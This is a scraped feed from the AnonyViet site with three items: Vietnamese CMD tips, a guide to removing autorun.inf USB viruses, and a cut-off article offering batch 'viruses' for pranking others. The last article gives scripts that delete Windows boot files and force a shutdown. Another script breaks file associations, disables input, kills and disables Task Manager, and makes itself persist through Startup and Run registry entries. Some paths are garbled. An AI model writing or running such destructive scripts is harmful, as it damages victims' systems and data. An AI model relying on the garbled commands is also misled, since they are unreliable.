<p><strong>Giải nén: </strong><code><em>compact /u /s:C:\Users\TechSpot\Desktop\Folder</em></code></p>
<p><em>Bạn có thể sao lưu cây thư mục bằng cách sử dụng </em><a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fwindows-server%2Fadministration%2Fwindows-commands%2Frobocopy" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">robocopy</a><em> (Xem hướng dẫn tại Microsoft).</em></p>
<p><code><em>robocopy C:\source M:\destination /MIR /FFT /R:3 /W:10 /Z /NP /NDL</em></code></p>
<h4 id="ftoc-tao-bao-cao-ve-he-thong-cua-ban" class="ftwp-heading"><strong>Tạo báo cáo về</strong><strong> hệ</strong><strong> thống của bạn</strong></h4>
<p><em>Các bảng báo cáo này vô cùng chi tiết và có thể giúp ta hiểu được các vấn đề liên quan đến mức tiêu thụ điện năng hoặc các kết nối không dây trên hệ thống của bạn</em></p>
<p><code><strong><em>powercfg /energy</em></strong></code><em>: </em><em>Tạo một báo cáo về hiểu quả năng lượng của hệ thống, vị trí của báo cáo sẽ được hiển thị khi lệnh kết thúc.</em></p>
<p><code><strong><em>powercfg /batteryreport</em></strong></code><em>: </em><em>Tạo một bản báo cáo thông số kỹ thuật cho pin của bạn, cũng như số liệu thống kê và biểu đồ về lịch sử sử dụng pin. </em></p>
<p><code><strong><em>netsh wlan show wlanreport</em></strong></code><em>: </em><em>Tạo bản báo cáo thông số kĩ thuật về lịch sử kết nối không dây của bạn.</em></p>
<h4 id="ftoc-xem-star-wars-tap-4-phien-ban-ascii" class="ftwp-heading"><strong>Xem Star Wars tập</strong> <strong>4</strong><strong> phiên bản ASCII</strong></h4>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fstar-wars.jpg" rel="noopener" class="local-link"><img post-id="8935" fifu-featured="1" decoding="async" loading="lazy" class="aligncenter wp-image-15776 size-full" src="https://anonyviet.com/wp-content/uploads/2019/10/star-wars.jpg" alt="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt)" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt)" width="624" height="377" srcset="https://anonyviet.com/wp-content/uploads/2019/10/star-wars.jpg 624w, https://anonyviet.com/wp-content/uploads/2019/10/star-wars-300x181.jpg 300w" sizes="auto, (max-width: 624px) 100vw, 624px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 20"/></a></p>
<p>Nhập lệnh<code> telnet towel.blinkenlights.nl</code> vào cmd để chiếu phim. Nhớ chuẩn bị bắp rang, coca cola và người iu nữa nhé.</p>
<p>Nếu lệnh không thành công, bạn phải bật telnet. Vào Windows search gõ <em>“Turn Windows features on or off”</em> và check vào hộp thoại telnet.</p>
<p>Bạn còn có thể làm nhiều trò hơn với telnet:</p>
<p><em>telnet towel.blinkenlights.nl 666</em></p>
<p><em>telnet telnet.wmflabs.org </em>(<a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.wikimedia.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Wikimedia</a>)</p>
<p><em>telnet rainmaker.wunderground.com</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.wunderground.com%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Weather Underground</a>)</p>
<p><em>telnet aardmud.org</em> <em>4000</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.aardwolf.com%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Aardwolf</a>)</p>
<p><em>telnet achaea.com 23 </em>(<a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.achaea.com%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Achaea)</a></p>
<p><em>telnet ateraan.com 4002</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fwww.ateraan.com%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">New Worlds – Ateraan)</a></p>
<p><em>telnet avalon-rpg.com</em> <em>23</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fwww.avalon-rpg.com%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Avalon: The Legend Lives</a>)</p>
<p><em>telnet batmud.bat.org 23</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fwww.bat.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">BatMUD</a>)</p>
<p><em> </em><em>telnet eclipse.cs.pdx.edu 7680</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fwww.mudportal.com%2Flistings%2Fby-genre%2Froleplay-intensive%2Fitem%2Fnew-moon" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">New Moon</a>)</p>
<p><em>telnet forgottenkingdoms.org 4000</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fforgottenkingdoms.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Forgotten Kingdoms</a>)</p>
<p><em>telnet freechess.org 5000 </em>(<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Ffreechess.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Free Chess</a>)</p>
<p><em>telnet igormud.org 1701 (</em><a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Figormud.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">IgorMUD</a><em>)</em></p>
<p><em>telnet lord.stabs.org 23</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Flord.stabs.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Legend of the Red Dragon</a>)</p>
<p><em>telnet mush.shelteringcolorado.com 2601</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fwiki.shelteringcolorado.com%2Findex.php%3Ftitle%3DMain_Page" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Sheltering Sky: Colorado by Night</a>)</p>
<p><em>telnet zombiemud.org 23</em> (<a target="_blank" href="https://en.anonyviet.com/next-link/?url=http%3A%2F%2Fzombiemud.org%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Zombie MUD</a>)</p>
<p style="text-align: right;"><strong>Cộng tác viên:  <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D100009143146364" rel="noopener noreferrer external nofollow" class="ext-link" onclick="this.target='_blank';">Kiệt Phạm</a></strong></p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;15767&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>
            Bài viết đạt: 5/5 &#8211; (100 bình chọn)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/mot-so-thu-thuat-thu-vi-ban-co-the-lam-tren-cmd-command-prompt/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2019/10/star-wars.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>How to delete Virus Hide Files in USB with CMD on Windows 10</title>
		<link>https://en.anonyviet.com/how-to-delete-virus-hide-files-in-usb-with-cmd-on-windows-10/</link>
					<comments>https://en.anonyviet.com/how-to-delete-virus-hide-files-in-usb-with-cmd-on-windows-10/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Fri, 03 Feb 2023 16:29:09 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[delete]]></category>
		<category><![CDATA[files]]></category>
		<category><![CDATA[hide]]></category>
		<category><![CDATA[USB]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=8860</guid>

					<description><![CDATA[Computer viruses can come from anywhere – even removable storage devices. When the USB is infected, the virus will find a way to spread on your computer. It will be activated thanks to the built-in Windows function called AutoRun. Fortunately, there is a way to disable this feature. In this article, AnonyViet will show you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>Computer viruses can come from anywhere – even removable storage devices.  When the USB is infected, the virus will find a way to spread on your computer.  It will be activated thanks to the built-in Windows function called AutoRun.  Fortunately, there is a way to disable this feature.  In this article, AnonyViet will show you how you can remove Hidden Files Virus from USB using CMD and protect your computer from viruses in the future.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<h2 id="ftoc-autorun-la-gi" class="ftwp-heading">What is AutoRun?</h2>
<p>To learn how to remove Hidden File Virus (shortcut virus), you need to know what AutoRun does and why it does it.</p>
<p>Windows launches a file named <strong>autorun.inf</strong> when external devices (USB, memory card, CD, DVD, SD card) are plugged into the computer.  Features like AutoRun are designed to improve the PC experience.</p>
<p>In most cases, Windows will help non-computer savvy people quickly open storage devices each time they attach to the computer, instead of having to manually click repeatedly to open the data.</p>
<p>An example of Autorun&#8217;s utility is CDs when connected to a computer.  Each CD can have an autorun.inf file so that the music player immediately plays the music for you, without any extra work.</p>
<h2 id="ftoc-virus-an-file-virus-shortcut-hoat-dong-nhu-the-nao" class="ftwp-heading">How does Virus Shortcut (Virus Shortcut) work?</h2>
<p>Unfortunately, the AutoRun feature has been abused to spread Viruses.  AutoRun feature can open multiple files in USB at the same time.  A virus from a USB can be appended with an executable to the autorun.inf file so that both will launch at the same time.  This means that Windows basically automatically activates the Virus in the USB using the AutoRun feature.</p>
<p>What the virus does will depend on what it is programmed with.  Some are known to add what is called a keylogger to your system.  This will allow hackers to track your keystrokes to steal personal information like passwords and banking information.  In Vietnam, most USB Viruses will hide files, create a virus that fakes the folder&#8217;s icon.  When mistakenly opening the Virus, other USBs plugged into the infected machine will have the file hidden, or encrypt the existing file.  Deleting virus hidden files is also quite simple.</p>
<h2 id="ftoc-tat-tinh-nang-autorun" class="ftwp-heading">Turn off AutoRun feature</h2>
<p>Although AutoRun is a great feature, turning it off may be the best way to prevent autorun.inf files from infecting and hiding files on your usb.</p>
<p>Here are the steps you should follow to turn off Windows AutoRun to delete hidden file viruses:</p>
<p>Access to <strong>Settings (Windows + I) > Devices > AutoPlay.</strong></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F11%2Fsettings.jpg" rel="noopener" class="local-link"><img decoding="async" class="aligncenter wp-image-16102 size-full" src="https://anonyviet.com/wp-content/uploads/2019/11/settings.jpg" alt="Settings" width="675" height="245" srcset="https://anonyviet.com/wp-content/uploads/2019/11/settings.jpg 675w, https://anonyviet.com/wp-content/uploads/2019/11/settings-300x109.jpg 300w" sizes="(max-width: 675px) 100vw, 675px" title="How to remove Virus Hide Files in USB with CMD on Windows 10 10"/></a><strong>Disable AutoRun</strong> by converting switch to position <strong>OFF</strong>.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F11%2Fautoplay.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-16103 size-full" src="https://anonyviet.com/wp-content/uploads/2019/11/autoplay.jpg" alt="Disabling AutoRun delete virus hidden files" width="678" height="438" srcset="https://anonyviet.com/wp-content/uploads/2019/11/autoplay.jpg 678w, https://anonyviet.com/wp-content/uploads/2019/11/autoplay-300x194.jpg 300w" sizes="auto, (max-width: 678px) 100vw, 678px" title="How to delete Virus Hide Files in USB with CMD on Windows 10 11"/></a></p>
<p><strong>Note:</strong> You can also use <strong>drop-down menu</strong> to choose the default action when you attach a storage device to your computer</p>
<h2 id="ftoc-xoa-file-autorun-inf" class="ftwp-heading">Delete the file AutoRun.inf</h2>
<p>If you suspect that your USB has a virus, you need to delete the file <strong>autorun.inf</strong> to prevent the virus from being activated.</p>
<h3 id="ftoc-xoa-virus-an-file-bang-cach-su-dung-cmd" class="ftwp-heading">Remove virus hidden files using CMD</h3>
<p>Here&#8217;s how to delete the autorun.inf file by running CMD aka command prompt:</p>
<p>Open <strong>Run</strong> and type <strong>CMD</strong> to open Command Prompt.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2017%2F01%2Fgo-cmd.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-3878" src="https://anonyviet.com/wp-content/uploads/2017/01/go-cmd.jpg" alt="open CMD" width="365" height="274" srcset="https://anonyviet.com/wp-content/uploads/2017/01/go-cmd.jpg 670w, https://anonyviet.com/wp-content/uploads/2017/01/go-cmd-300x225.jpg 300w" sizes="auto, (max-width: 365px) 100vw, 365px" title="How to delete Virus Hide Files in USB with CMD on Windows 10 12"/></a></p>
<p>Type the letter of the USB drive (Example: “<strong>F:</strong>&#8221; or &#8220;<strong>G:</strong>” without quotes), press Enter</p>
<p>Type command <code><strong>ATTRIBUTE -H -R -S AUTORUN.INF</strong></code> and press Enter</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F11%2Fattribe.jpeg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-16105 size-full" src="https://anonyviet.com/wp-content/uploads/2019/11/attribe.jpeg" alt="Use cmd to show hidden files" width="430" height="147" srcset="https://anonyviet.com/wp-content/uploads/2019/11/attribe.jpeg 430w, https://anonyviet.com/wp-content/uploads/2019/11/attribe-300x103.jpeg 300w" sizes="auto, (max-width: 430px) 100vw, 430px" title="How to delete Virus Hide Files in USB with CMD on Windows 10"/></a></p>
<p>Type command <strong><code>DEL AUTORUN.INF</code></strong>and press Enter</p>
<h3 id="ftoc-xoa-bang-windows-explorer" class="ftwp-heading">Delete with Windows Explorer</h3>
<p>Here&#8217;s how to delete files <strong>autorun.inf</strong> equal <strong>Windows Explorer</strong>:</p>
<p>Open <strong>Windows Explorer</strong> (Windows + E).</p>
<p>Open the USB drive found on the left panel.  This action will show you the contents of the USB.</p>
<p>Select autorun.inf from the list and press <strong>To clear</strong>.  If you don&#8217;t see it, click Menu View, Check Hidden Items to show hidden files.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F11%2Fhidden-item.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-16104 size-full" src="https://anonyviet.com/wp-content/uploads/2019/11/hidden-item.jpg" alt="show hidden files in windows 10 to remove virus hidden files" width="509" height="168" srcset="https://anonyviet.com/wp-content/uploads/2019/11/hidden-item.jpg 509w, https://anonyviet.com/wp-content/uploads/2019/11/hidden-item-300x99.jpg 300w" sizes="auto, (max-width: 509px) 100vw, 509px" title="How to delete Virus Hide Files in USB with CMD on Windows 10"/></a></p>
<p>Deleting the autorun.inf file through either of the above two methods will help protect your computer from USB Virus.  However, you should use <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Ftag%2Fdiet-virus%2F" rel="noopener noreferrer" class="local-link">antivirus software</a> to scan the USB drive before opening the file.  This is the most necessary measure to delete virus hidden files.</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;16101&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-delete-virus-hide-files-in-usb-with-cmd-on-windows-10/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2019/11/virus-an-file-usb.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>Break the computer with cmd, .bat . file</title>
		<link>https://en.anonyviet.com/break-the-computer-with-cmd-bat-file/</link>
					<comments>https://en.anonyviet.com/break-the-computer-with-cmd-bat-file/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Wed, 01 Feb 2023 23:32:06 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[bắt]]></category>
		<category><![CDATA[break]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[file]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=8138</guid>

					<description><![CDATA[SOME UTILITIES OF .BAT FILE FOR TRILLING OTHERS OR HAPPY Join the channel Telegram of the AnonyViet 👉 Link 👈 I will show you some code of the .BAT virus: You open notepad, copy the code below and then save it as .bat, .vsb or .cmd depending on the code. While saving, see the image [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div>
<p><strong>SOME UTILITIES OF .BAT FILE FOR TRILLING OTHERS OR HAPPY</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p>I will show you some code of the .BAT virus:</p>
<p>You open notepad, copy the code below and then save it as .bat, .vsb or .cmd depending on the code.</p>
<p>While saving, see the image below: <span style="color: #ff0000;">Save as type: All Files</span></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2015%2F12%2Fxxx.png" rel="noopener" class="local-link"><img decoding="async" class="aligncenter wp-image-2840" src="https://anonyviet.com/wp-content/uploads/2015/12/xxx.png" alt="xxx" width="504" height="171" srcset="https://anonyviet.com/wp-content/uploads/2015/12/xxx.png 653w, https://anonyviet.com/wp-content/uploads/2015/12/xxx-300x102.png 300w" sizes="(max-width: 504px) 100vw, 504px" title="Break the computer with cmd, .bat file 6"/></a></p>
<p><strong>1) virus destroys windows:</strong></p>
<p>Code:</p>
</p>
<pre class="lang:default decode:true">@echo off&#13;
&#13;
msg *virus activated*&#13;
&#13;
attrib -r -s -h c:autoexec.bat&#13;
&#13;
del c:autoexec.bat&#13;
&#13;
attrib -r -s -h c:boot.ini&#13;
&#13;
del c:boot.ini&#13;
&#13;
attrib -r -s -h c:ntldr&#13;
&#13;
del c:ntldr&#13;
&#13;
attrib -r -s -h c:windowswin.ini&#13;
&#13;
del c:windowswin.ini&#13;
&#13;
@echo off&#13;
&#13;
msg *Computer Over. Virus=Very Yes.*&#13;
&#13;
shutdown -s -t 10 -c " "</pre>
</p>
<p><strong>2) This virus disables mouse, keyboard, task manager, file change</strong> <strong>believe:</strong></p>
<p>code:</p>
<pre class="lang:default decode:true ">@echo off&#13;
&#13;
prompt $P $G&#13;
&#13;
assoc .doc = fA1luRe&#13;
&#13;
assoc .docx = fA1luRe&#13;
&#13;
assoc .log = fA1luRe&#13;
&#13;
assoc .msg = fA1luRe&#13;
&#13;
assoc .pages = fA1luRe&#13;
&#13;
assoc .rtf = fA1luRe&#13;
&#13;
assoc .txt = fA1luRe&#13;
&#13;
assoc .wpd = fA1luRe&#13;
&#13;
assoc .wps = fA1luRe&#13;
&#13;
assoc .accdb = fA1luRe&#13;
&#13;
assoc .blg = fA1luRe&#13;
&#13;
assoc .csv = fA1luRe&#13;
&#13;
assoc .dat = fA1luRe&#13;
&#13;
assoc .db = fA1luReassoc .efx = fA1luRe&#13;
&#13;
assoc .mdb = fA1luRe&#13;
&#13;
assoc .pdb = fA1luRe&#13;
&#13;
assoc .pps = fA1luRe&#13;
&#13;
assoc .ppt = fA1luRe&#13;
&#13;
assoc .pptx = fA1luRe&#13;
&#13;
assoc .sdb = fA1luRe&#13;
&#13;
assoc .sdf = fA1luRe&#13;
&#13;
assoc .sql = fA1luRe&#13;
&#13;
assoc .vcf = fA1luRe&#13;
&#13;
assoc .wks = fA1luRe&#13;
&#13;
assoc .xls = fA1luRe&#13;
&#13;
assoc .xlsx = fA1luRe&#13;
&#13;
assoc .xml = fA1luRe&#13;
&#13;
assoc .bmp = fA1luRe&#13;
&#13;
assoc .gif = fA1luRe&#13;
&#13;
assoc .jpg = fA1luRe&#13;
&#13;
assoc .png = fA1luRe&#13;
&#13;
assoc .psd = fA1luRe&#13;
&#13;
assoc .psp = fA1luRe&#13;
&#13;
assoc .thm = fA1luRe&#13;
&#13;
assoc .tif = fA1luRe&#13;
&#13;
assoc .ai = fA1luRe&#13;
&#13;
assoc .drw = fA1luRe&#13;
&#13;
assoc .eps = fA1luRe&#13;
&#13;
assoc .ps = fA1luRe&#13;
&#13;
assoc .svg = fA1luRe&#13;
&#13;
assoc .3dm = fA1luRe&#13;
&#13;
assoc .dwg = fA1luRe&#13;
&#13;
assoc .dxf = fA1luRe&#13;
&#13;
assoc .pln = fA1luRe&#13;
&#13;
assoc .indd = fA1luRe&#13;
&#13;
assoc .pct = fA1luRe&#13;
&#13;
assoc .pdf = fA1luRe&#13;
&#13;
assoc .qxd = fA1luRe&#13;
&#13;
assoc .qxp = fA1luReassoc .rels = fA1luRe&#13;
&#13;
assoc .aac = fA1luRe&#13;
&#13;
assoc .aif = fA1luRe&#13;
&#13;
assoc .iff = fA1luRe&#13;
&#13;
assoc .m3u = fA1luRe&#13;
&#13;
assoc .mid = fA1luRe&#13;
&#13;
assoc .mp3 = fA1luRe&#13;
&#13;
assoc .mpa = fA1luRe&#13;
&#13;
assoc .ra = fA1luRe&#13;
&#13;
assoc .wav = fA1luRe&#13;
&#13;
assoc .wma = fA1luRe&#13;
&#13;
assoc .3g2 = fA1luRe&#13;
&#13;
assoc .3gp = fA1luRe&#13;
&#13;
assoc .asf = fA1luRe&#13;
&#13;
assoc .asx = fA1luRe&#13;
&#13;
assoc .avi = fA1luRe&#13;
&#13;
assoc .flv = fA1luRe&#13;
&#13;
assoc .mov = fA1luRe&#13;
&#13;
assoc .mp4 = fA1luRe&#13;
&#13;
assoc .mpg = fA1luRe&#13;
&#13;
assoc .rm = fA1luRe&#13;
&#13;
assoc .swf = fA1luRe&#13;
&#13;
assoc .vob = fA1luRe&#13;
&#13;
assoc .wmv = fA1luRe&#13;
&#13;
assoc .asp = fA1luRe&#13;
&#13;
assoc .cer = fA1luRe&#13;
&#13;
assoc .csr = fA1luRe&#13;
&#13;
assoc .css = fA1luRe&#13;
&#13;
assoc .htm = fA1luRe&#13;
&#13;
assoc .html = fA1luRe&#13;
&#13;
assoc .js = fA1luRe&#13;
&#13;
assoc .jsp = fA1luRe&#13;
&#13;
assoc .php = fA1luRe&#13;
&#13;
assoc .rss = fA1luRe&#13;
&#13;
assoc .tvpi = fA1luRe&#13;
&#13;
assoc .tvvi = fA1luReassoc .xhtml = fA1luRe&#13;
&#13;
assoc .fnt = fA1luRe&#13;
&#13;
assoc .fon = fA1luRe&#13;
&#13;
assoc .otf = fA1luRe&#13;
&#13;
assoc .ttf = fA1luRe&#13;
&#13;
assoc .8bi = fA1luRe&#13;
&#13;
assoc .plugin = fA1luRe&#13;
&#13;
assoc .xll = fA1luRe&#13;
&#13;
assoc .cab = fA1luRe&#13;
&#13;
assoc .cpl = fA1luRe&#13;
&#13;
assoc .cur = fA1luRe&#13;
&#13;
assoc .dll = fA1luRe&#13;
&#13;
assoc .dmp = fA1luRe&#13;
&#13;
assoc .drv = fA1luRe&#13;
&#13;
assoc .key = fA1luRe&#13;
&#13;
assoc .lnk = fA1luRe&#13;
&#13;
assoc .sys = fA1luRe&#13;
&#13;
assoc .cfg = fA1luRe&#13;
&#13;
assoc .ini = fA1luRe&#13;
&#13;
assoc .keychain = fA1luRe&#13;
&#13;
assoc .prf = fA1luRe&#13;
&#13;
assoc .app = fA1luRe&#13;
&#13;
assoc .bat = fA1luRe&#13;
&#13;
assoc .cgi = fA1luRe&#13;
&#13;
assoc .com = fA1luRe&#13;
&#13;
assoc .exe = fA1luRe&#13;
&#13;
assoc .pif = fA1luRe&#13;
&#13;
assoc .vb = fA1luRe&#13;
&#13;
assoc .ws = fA1luRe&#13;
&#13;
assoc .7z = fA1luRe&#13;
&#13;
assoc .deb = fA1luRe&#13;
&#13;
assoc .gz = fA1luRe&#13;
&#13;
assoc .pkg = fA1luRe&#13;
&#13;
assoc .rar = fA1luRe&#13;
&#13;
assoc .sit = fA1luRe&#13;
&#13;
assoc .sitx = fA1luReassoc .tar.gz = fA1luRe&#13;
&#13;
assoc .zip = fA1luRe&#13;
&#13;
assoc .zipx = fA1luRe&#13;
&#13;
assoc .bin = fA1luRe&#13;
&#13;
assoc .hqx = fA1luRe&#13;
&#13;
assoc .mim = fA1luRe&#13;
&#13;
assoc .uue = fA1luRe&#13;
&#13;
assoc .c = fA1luRe&#13;
&#13;
assoc .cpp = fA1luRe&#13;
&#13;
assoc .dtd = fA1luRe&#13;
&#13;
assoc .java = fA1luRe&#13;
&#13;
assoc .pl = fA1luRe&#13;
&#13;
assoc .bak = fA1luRe&#13;
&#13;
assoc .bup = fA1luRe&#13;
&#13;
assoc .gho = fA1luRe&#13;
&#13;
assoc .ori = fA1luRe&#13;
&#13;
assoc .tmp = fA1luRe&#13;
&#13;
assoc .dmg = fA1luRe&#13;
&#13;
assoc .iso = fA1luRe&#13;
&#13;
assoc .toast = fA1luRe&#13;
&#13;
assoc .vcd = fA1luRe&#13;
&#13;
assoc .gam = fA1luRe&#13;
&#13;
assoc .nes = fA1luRe&#13;
&#13;
assoc .rom = fA1luRe&#13;
&#13;
assoc .sav = fA1luRe&#13;
&#13;
assoc .dbx = fA1luRe&#13;
&#13;
assoc .msi = fA1luRe&#13;
&#13;
assoc .part = fA1luRe&#13;
&#13;
assoc .torrent = fA1luRe&#13;
&#13;
assoc .yps = fA1luRe&#13;
&#13;
rundll32.exe mouse, disable&#13;
&#13;
rundll32.exe keyboard, disable&#13;
&#13;
copy setup.bat %userprofile%AppDataRoamingMicrosoftWindowsStart&#13;
&#13;
MenuProgramsStartup&#13;
&#13;
copy setup.bat %windir%System32&#13;
&#13;
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v fA1luRe /t REG_SZ /d %windir%System32setup.bat&#13;
&#13;
taskkill /f /im taskmgr.exe&#13;
&#13;
reg restore&#13;
&#13;
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicie&#13;
&#13;
sSystem DisableTaskMgr = 1&#13;
&#13;
